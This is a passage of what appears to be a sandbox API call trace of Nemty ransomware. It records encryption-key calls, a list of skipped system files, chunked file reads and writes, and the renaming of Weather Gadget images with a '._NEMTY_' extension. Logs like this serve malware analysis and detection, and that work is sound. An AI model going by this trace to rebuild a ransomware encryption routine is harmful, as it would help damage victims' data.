CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="wNYG8Nykk+dTj5y/erw/cFv3nn6qDKrqfCDSmA7V1BvSx2cpdsVRG0lb3ng4733T\r\nimakfjBlxwDd6nSVyhOze8DFliIAixZV5J+yHuiE+ZzSPzfV52UzVAbh2Yg0IrrC\r\nQ78veB6vpZ+8JMWVEkKz20bW96429zNeEQ8spWDeOloRFyrtSl6CbYPkm+rj/H1e\r\nbBcmE7eCyZXuEGafB+E6HPvLH+ApGDnEWq+yqfzfhc5O9Yph8kiirExjdcA9HrZX\r\ncpjSumeLszwcnz4PSfT+Az6ThHR7xyQ6FcjO/+Uh63xM0FVjdYCdp6WxU85NqJR/\r\nbwlbRJqDUaCs8y2CCIk0jw==\r\n", pcchString=0x653e91c) returned 1 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.196] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.197] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.301] CloseHandle (hObject=0xffffffff) returned 0 [0159.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0159.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0159.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over.png._nemty_kgobjgd_")) returned 0 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.301] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_search_over_BIDI.png", cAlternateFileName="")) returned 1 [0159.301] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2=".") returned 1 [0159.301] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="..") returned 1 [0159.301] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="...") returned 1 [0159.301] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="windows") returned -1 [0159.301] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="$RECYCLE.BIN") returned 1 [0159.301] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="rsa") returned -1 [0159.301] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="NTDETECT.COM") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="ntldr") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="MSDOS.SYS") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="IO.SYS") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="boot.ini") returned 1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="boot.ini") returned 1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="ntuser.dat") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="desktop.ini") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="CONFIG.SYS") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="RECYCLER") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="BOOTSECT.BAK") returned 1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="bootmgr") returned 1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="programdata") returned -1 [0159.302] lstrcmpiW (lpString1="btn_search_over_BIDI.png", lpString2="appdata") returned 1 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0159.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0159.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0159.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.303] Sleep (dwMilliseconds=0x5) [0159.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12999e30, dwHighDateTime=0x1d561e8)) [0159.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12999e30, dwHighDateTime=0x1d561e8)) [0159.305] GetLastError () returned 0x5 [0159.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.305] GetLastError () returned 0x5 [0159.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.305] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.305] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.305] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0159.305] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="VWszz5luxoEeTab3q3U2yFGouHua3IBBjocNAfrDa7i2wWg6A9I+M+D06Xf3DxjC\r\nUd1meheaQ3zwUlGjdZNb40IEJ3iaHaW/oiB/FhBXofdePggfJFy515JdvQniFk9q\r\nH82vfutWwKCdVgvY+6/8xVeiDZKUCaUMIs5FeCV7nu/+AG8J8ltNL9UNR9wvAd+z\r\nOENjgb5f30CGXkTadHWxGsjb1bJ6ri3xC2krXwmqfna8pf7NSw7V7yp5vu9o83ia\r\nKYUTA4yVrSIycS41dl7TDvjDxqwdH50hMGAP1RgytloiymHToJ1VbZrXiN9lUZCo\r\nPgEV6g0sE3SL2DDtCGbYLQ==\r\n", pcchString=0x653e91c) returned 1 [0159.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0159.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.306] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over_bidi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.306] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, 